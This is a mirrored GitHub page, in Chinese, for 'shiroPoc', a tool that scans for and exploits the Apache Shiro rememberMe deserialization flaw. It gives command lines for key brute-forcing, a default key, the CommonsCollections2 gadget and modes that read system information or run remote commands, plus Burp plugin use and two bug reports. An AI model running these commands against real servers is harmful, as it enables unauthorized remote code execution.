Git Product home page Git Product logo

shiropoc's Introduction

mvn package 编译

欢迎关注 宽字节安全 公众号

changelog

  1. 新增shiro 检测方式(对,就是那个不需要gadget的检测方式) 2020.7.30
  2. 新增shiro 100 key
  3. 支持自定义key
  4. 支持作为插件导入burp
  5. 支持burp的被动扫描(需要burp pro版本

被动扫描演示

检测到shiro框架

自动探测shiro的key

burp插件使用方法

repeater界面中右键,生成payload 默认kph密钥,cc2利用链,获取信息,如果需要修改,请右键选择config

生成后,会自动替换request内容,并攻击

当然,这个jar包也可以直接在命令行下运行,生成rememberMe,或者检测,一切不变

自定义key检测

java -cp .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar org.unicodesec.poc http://localhost:8080/samples_web_war/ kPH+bIxk5D2deZiIxcaaaA==

内置100key检测

java -cp .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar org.unicodesec.poc http://localhost:8080/sam
ples_web_war/
java -jar .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar kPH+bIxk5D2deZiIxcaaaA== CommonsCollections2 XraySysProp

检测方式

运行

java -cp .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar org.unicodesec.poc 

检测

java -cp .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar org.unicodesec.poc http://localhost:8080/sam
ples_web_war/

shiro-urldns 检测&利用工具

支持shiro 16个key,支持攻击利用。支持的key与gadget以及攻击类型如下

查看目标服务器的系统信息

该攻击类型为XraySysProp,使用方法如下

java -jar .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar 16 CommonsCollections2 XraySysProp

利用截图如下

执行命令并回显

该攻击类型为XrayCmd 使用方法如下

java -jar .\shiroPoc-1.0-SNAPSHOT-jar-with-dependencies.jar 16 CommonsCollections2 XrayCmd

利用截图如下

注意事项

  1. 建议删除不相关的http请求头,不然会因为http请求头过大而提示400错误
  2. 建议使用CommonsCollections2 gadget,体积小,利用率高

shiropoc's People

Contributors

center-sun avatar potats0 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

shiropoc's Issues

检测某个站出现误报情况

                                                            Powered by UnicodeSec
                                                                  Version  0.0.2
八月 01, 2020 4:31:56 下午 org.apache.http.client.protocol.ResponseProcessCookies processCookies
警告: Invalid cookie header: "Set-Cookie: 8VY9p00ccvVgS=5s7CnSS.ODpwYT_v50JzmQn.x0G6eIvX0a8hwJN_WEumAi_mwmJTdsCMnZzgt1NxHtMXnLqaQe.bUAFr1uZ83Cq; Path=/; expires=Tue, 3
0 Jul 2030 08:32:54 GMT; HttpOnly". Invalid 'expires' attribute: Tue, 30 Jul 2030 08:32:54 GMT
found Shiro Vulnerability, Shiro key wGiHplamyXlVB11UXWol8g==

image

授权测试某站时,发现返回头里没有rememberMe=deleteMe相关字段并且会默认返回Set-Cookie相关的字段,但是检测出了key,日志如上图,返回头如下图
image

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 01 Aug 2020 08:31:57 GMT
Content-Type: text/html;charset=utf-8
Connection: keep-alive
Set-Cookie: sid=z0Tscj1n+2962467490-Nd1D_qJ28lD1diGfMbUlBWZ1Bf12So0Zi0wwzMr8UiilkY..vOKPORkhuzylS87u68qiFJTKD37xlQTLdabG_a; Path=/xlplatform; HttpOnly
Content-Language: en-US
Pragma: no-cache
Cache-Control: no-store
Expires: Sat, 01 Aug 2020 08:32:54 GMT
Set-Cookie: 8VY9p00ccvVgS=5s7CnSS.ODpwYT_v50JzmQn.x0G6eIvX0a8hwJN_WEumAi_mwmJTdsCMnZzgt1NxHtMXnLqaQe.bUAFr1uZ83Cq; Path=/; expires=Tue, 30 Jul 2030 08:32:54 GMT; HttpOnly
Busscid: unnet
Content-Length: 26689

bug

java -cp shiroPoc-0.5-SNAPSHOT-jar-with-dependencies.jar org.unicodesec.poc http://localhost:8080/

直接使用jar检测的话,测试时发现bug,无论对任何URL检测都会返回成功

QQ截图20200807084452

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.